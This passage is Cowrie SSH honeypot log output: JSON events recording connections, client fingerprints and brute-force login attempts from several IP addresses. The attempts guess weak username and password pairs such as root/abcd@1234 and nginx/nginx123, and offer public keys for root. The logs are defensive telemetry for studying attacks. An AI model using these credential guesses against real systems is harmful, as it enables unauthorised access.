0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:46.906698Z","src_ip":"165.154.137.186","session":"191c40de6530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wanwan123","message":"login attempt [root/wanwan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:47.482151Z","src_ip":"103.187.165.26","session":"9994ce9baeaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:47.699728Z","src_ip":"165.154.137.186","session":"191c40de6530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:48.727151Z","src_ip":"103.187.165.26","session":"9994ce9baeaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:48.967682Z","src_ip":"165.154.137.186","session":"191c40de6530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40958,"dst_ip":"10.17.0.5","dst_port":22,"session":"856c99ac7601","protocol":"ssh","message":"New connection: 165.154.137.186:40958 (10.17.0.5:22) [session: 856c99ac7601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:50.259686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:50.264057Z","src_ip":"165.154.137.186","session":"856c99ac7601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:50.527807Z","src_ip":"165.154.137.186","session":"856c99ac7601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:51.312093Z","src_ip":"165.154.137.186","session":"856c99ac7601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:51.796004Z","src_ip":"8.210.75.243","session":"e84d1f639c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:52.575570Z","src_ip":"165.154.137.186","session":"856c99ac7601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40966,"dst_ip":"10.17.0.5","dst_port":22,"session":"34ea588af12d","protocol":"ssh","message":"New connection: 165.154.137.186:40966 (10.17.0.5:22) [session: 34ea588af12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:53.638355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:53.642385Z","src_ip":"165.154.137.186","session":"34ea588af12d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:54.036517Z","src_ip":"165.154.137.186","session":"34ea588af12d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:54.891743Z","src_ip":"165.154.137.186","session":"34ea588af12d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.171943Z","src_ip":"165.154.137.186","session":"34ea588af12d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.37.202","src_port":49926,"dst_ip":"10.17.0.5","dst_port":22,"session":"7671135c1db0","protocol":"ssh","message":"New connection: 104.243.37.202:49926 (10.17.0.5:22) [session: 7671135c1db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.833287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.838635Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.846286Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:68:d5:78:76:ee:9b:04:16:97:5d:d5:24:98:c4:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRESxUqeRZPfSe4ft5WAbvDBj+gFJCDDjkg31cMH32aEBemNLCd+ZZttpSAOrwup58fbLUSve8o251uCSOBFUKeusX94ir8xNIjpmSsK2osjC17t/+l7H1YdyrDIzv07uFwxB9FQu7j8kH1zvE1gnlOlejMMm4z6xHb20h5GoxK3LBNyKG5CnAQoAuL4aJM5z8iDPUWpAql/dvgCSLxAUReTvujWwjk5w63Q0GXISZdJGdhWxo0deF/kJCoBCKmrzeHzMxRmFhyJOZbgf78WzJQxKh2TrPAiE6NGxU7xH0Hpw8rQHBRNqBYez15GmGj5u6/r1dxjVGe2VDTHePTQ5v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:68:d5:78:76:ee:9b:04:16:97:5d:d5:24:98:c4:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.864635Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:68:d5:78:76:ee:9b:04:16:97:5d:d5:24:98:c4:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRESxUqeRZPfSe4ft5WAbvDBj+gFJCDDjkg31cMH32aEBemNLCd+ZZttpSAOrwup58fbLUSve8o251uCSOBFUKeusX94ir8xNIjpmSsK2osjC17t/+l7H1YdyrDIzv07uFwxB9FQu7j8kH1zvE1gnlOlejMMm4z6xHb20h5GoxK3LBNyKG5CnAQoAuL4aJM5z8iDPUWpAql/dvgCSLxAUReTvujWwjk5w63Q0GXISZdJGdhWxo0deF/kJCoBCKmrzeHzMxRmFhyJOZbgf78WzJQxKh2TrPAiE6NGxU7xH0Hpw8rQHBRNqBYez15GmGj5u6/r1dxjVGe2VDTHePTQ5v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.867895Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:66:a3:1a:ee:cc:15:61:56:1c:ae:73:cb:17:8b:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCilgWD0rhFE7+5zC7D2HoUef/G72+Y0qzaMOeiUI0dg1AjJKg7yQLJMyC+Ss/gQBnlnb6apVCijC0wa8k4hakeiXVyfD24UKIWyw2HzYWGx3ueNBeJfCSjulA6FYrscDyDLGh0bvr34ExCIAgoDZz3pY40c2ms12L8rzUF1QM2CgywJUpUHnsxP3qjfe4oyqmRYOCGZhJ4qWpiH/6noWFXqqkdqUTcm+r4IN8wD2w03sJMG0krqfiBUvFNPM/3eHmNzn9MJL3NCLUoYvU6r2oternnkA5E/uiBgQWdlwP2SNAA+14/gmgsUBLZWmqRThB86QsOFteZ5yCZnuO7kYEp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:66:a3:1a:ee:cc:15:61:56:1c:ae:73:cb:17:8b:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.876121Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:66:a3:1a:ee:cc:15:61:56:1c:ae:73:cb:17:8b:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCilgWD0rhFE7+5zC7D2HoUef/G72+Y0qzaMOeiUI0dg1AjJKg7yQLJMyC+Ss/gQBnlnb6apVCijC0wa8k4hakeiXVyfD24UKIWyw2HzYWGx3ueNBeJfCSjulA6FYrscDyDLGh0bvr34ExCIAgoDZz3pY40c2ms12L8rzUF1QM2CgywJUpUHnsxP3qjfe4oyqmRYOCGZhJ4qWpiH/6noWFXqqkdqUTcm+r4IN8wD2w03sJMG0krqfiBUvFNPM/3eHmNzn9MJL3NCLUoYvU6r2oternnkA5E/uiBgQWdlwP2SNAA+14/gmgsUBLZWmqRThB86QsOFteZ5yCZnuO7kYEp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.881109Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:60:41:5e:59:c0:d5:ff:63:86:e9:29:f3:45:4d:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNnmVRXrd8CoWjqO6ZDnDaEpjSLYAAkNq8mapHPp37cRtR5pNyvBB0IVxmx6KUik6JzXHI+Cbagd0RBIarWLD3bUCENetMzerLbTCAh7mYYAC6QNsjs80Kw3EOwgr1ZwN8zOvMS4rxnEUIJiKCGsxjulX5vx8TkzrUx5JjaOekO6yT4ZmxAxEuoPcNDUsRTc/f2J8RT8Jnaup11U3epdixhCYNuIhLt+YeCtcgDJwmyQpSq9Lch/PFwCvNUCI9FUgW5S7FoMKEpHoF5V/MNSJTO4zsUFInQ6jtrk4pGor3zE3woYEgFdhDtGle/HZtdWl+TpYT+pV3+u9GziPnR6O/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:60:41:5e:59:c0:d5:ff:63:86:e9:29:f3:45:4d:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.888356Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:60:41:5e:59:c0:d5:ff:63:86:e9:29:f3:45:4d:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNnmVRXrd8CoWjqO6ZDnDaEpjSLYAAkNq8mapHPp37cRtR5pNyvBB0IVxmx6KUik6JzXHI+Cbagd0RBIarWLD3bUCENetMzerLbTCAh7mYYAC6QNsjs80Kw3EOwgr1ZwN8zOvMS4rxnEUIJiKCGsxjulX5vx8TkzrUx5JjaOekO6yT4ZmxAxEuoPcNDUsRTc/f2J8RT8Jnaup11U3epdixhCYNuIhLt+YeCtcgDJwmyQpSq9Lch/PFwCvNUCI9FUgW5S7FoMKEpHoF5V/MNSJTO4zsUFInQ6jtrk4pGor3zE3woYEgFdhDtGle/HZtdWl+TpYT+pV3+u9GziPnR6O/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.892029Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:67:d6:23:de:82:3e:b1:65:85:27:9e:fe:22:ba:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBY+upDWw1Wiq84922LTjPp7nSLPhO8HbJ6rAWYIwNhSKlrma2sT0foy6ytkh8PKS3EvT9GkkiMg3TcyqOBDZ7+shtEuiDiOiT58u3tIFphlrV/5VbAeIbGY4E2/oBPZiSyKs0JGUdHAgt++wTirLt24Cumf692xmzX9c9DHmOTLW33ryYZ8cGaKaFiKSfjW7qGvZRm8VREL4AW8PngrWKaTvu7o59n9VnW+t0fEF2tyMpx9+l86sh4UtXkfpc/or03ATwtwy4sX2rBvmBt/0lyo943VSTc0MWXbnc+975LdKe26Qq9Xr90McIrZHRBk1SEArfMf47JB2OOKrYMt2E072e9SAgo/0yW9ioFDwPrENO6N1ivcdFDSahOx1m6FkG5dRbE2O35ly3uf3W8V1aYN2OC4m01kli/qM9XVrxXsqrJKH6Z+lEd5jcifITYQWs/5qzL+YPvSObNqvcSFnuCA8qc/Kf/3RZY/CpfnbarFRrubbMvi4h4KN7l7F/xMLCCBC+64jeTCmLDiHchoOmpTMxsikxa/7ZrOHCNU0w4o+tRhhwFetrvQxSWPexwxOnXy1Y/jvI8FFlFq+p6qK34BPVb7TsU4eMGehm8mSPH5ofkIvjzd1284IKZBXyZIo2Xw/Xh7tdOhgwJ9NjuKyyxaY+p57xQEWjZ9ZkvYX3oQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:67:d6:23:de:82:3e:b1:65:85:27:9e:fe:22:ba:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.899896Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:67:d6:23:de:82:3e:b1:65:85:27:9e:fe:22:ba:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBY+upDWw1Wiq84922LTjPp7nSLPhO8HbJ6rAWYIwNhSKlrma2sT0foy6ytkh8PKS3EvT9GkkiMg3TcyqOBDZ7+shtEuiDiOiT58u3tIFphlrV/5VbAeIbGY4E2/oBPZiSyKs0JGUdHAgt++wTirLt24Cumf692xmzX9c9DHmOTLW33ryYZ8cGaKaFiKSfjW7qGvZRm8VREL4AW8PngrWKaTvu7o59n9VnW+t0fEF2tyMpx9+l86sh4UtXkfpc/or03ATwtwy4sX2rBvmBt/0lyo943VSTc0MWXbnc+975LdKe26Qq9Xr90McIrZHRBk1SEArfMf47JB2OOKrYMt2E072e9SAgo/0yW9ioFDwPrENO6N1ivcdFDSahOx1m6FkG5dRbE2O35ly3uf3W8V1aYN2OC4m01kli/qM9XVrxXsqrJKH6Z+lEd5jcifITYQWs/5qzL+YPvSObNqvcSFnuCA8qc/Kf/3RZY/CpfnbarFRrubbMvi4h4KN7l7F/xMLCCBC+64jeTCmLDiHchoOmpTMxsikxa/7ZrOHCNU0w4o+tRhhwFetrvQxSWPexwxOnXy1Y/jvI8FFlFq+p6qK34BPVb7TsU4eMGehm8mSPH5ofkIvjzd1284IKZBXyZIo2Xw/Xh7tdOhgwJ9NjuKyyxaY+p57xQEWjZ9ZkvYX3oQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.902583Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:f2:2c:e5:2e:b6:f7:a5:73:fd:e0:5e:09:85:83:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbbDtk/VYDKwhu56KZGyIHry3ZacCh7ayp7cUCjRxv0Dlsbsw8x6AfzPgV3H3UBSsCT4EiUQapB1r4Fa2hWYaOkxTb7p8jA7HUDbz2hZfUgnx9gyrPBDQXJ2sSDjWWFLuL2fQ+Qf3ZjnESHkrGLif2ZNQnee26p2LpKWpmRD8TRXfLxMyvZl0jTjojQ9Oq5RNDHXDoa/uzSDfVbJlJ06gkW8osFpDYwhEyCDMe4gbnWYtxz9zfpY2PCcfc8RCRY2arnErNL6Use7+sna927aCiY0eCaaQ/W1iwTyMnk/MWtAzLp26ON+Mqe/lBS5CYO1L44iNmdIGhXE4n5PG9jkA/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:f2:2c:e5:2e:b6:f7:a5:73:fd:e0:5e:09:85:83:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.909196Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:f2:2c:e5:2e:b6:f7:a5:73:fd:e0:5e:09:85:83:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbbDtk/VYDKwhu56KZGyIHry3ZacCh7ayp7cUCjRxv0Dlsbsw8x6AfzPgV3H3UBSsCT4EiUQapB1r4Fa2hWYaOkxTb7p8jA7HUDbz2hZfUgnx9gyrPBDQXJ2sSDjWWFLuL2fQ+Qf3ZjnESHkrGLif2ZNQnee26p2LpKWpmRD8TRXfLxMyvZl0jTjojQ9Oq5RNDHXDoa/uzSDfVbJlJ06gkW8osFpDYwhEyCDMe4gbnWYtxz9zfpY2PCcfc8RCRY2arnErNL6Use7+sna927aCiY0eCaaQ/W1iwTyMnk/MWtAzLp26ON+Mqe/lBS5CYO1L44iNmdIGhXE4n5PG9jkA/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.912673Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:56.919490Z","src_ip":"104.243.37.202","session":"7671135c1db0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40976,"dst_ip":"10.17.0.5","dst_port":22,"session":"eedb29105834","protocol":"ssh","message":"New connection: 165.154.137.186:40976 (10.17.0.5:22) [session: eedb29105834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:57.545652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:57.549271Z","src_ip":"165.154.137.186","session":"eedb29105834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:57.823030Z","src_ip":"165.154.137.186","session":"eedb29105834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:58.646212Z","src_ip":"165.154.137.186","session":"eedb29105834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:59.922649Z","src_ip":"165.154.137.186","session":"eedb29105834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57650,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffc831593e1e","protocol":"ssh","message":"New connection: 165.154.137.186:57650 (10.17.0.5:22) [session: ffc831593e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:41:01.349151Z"}
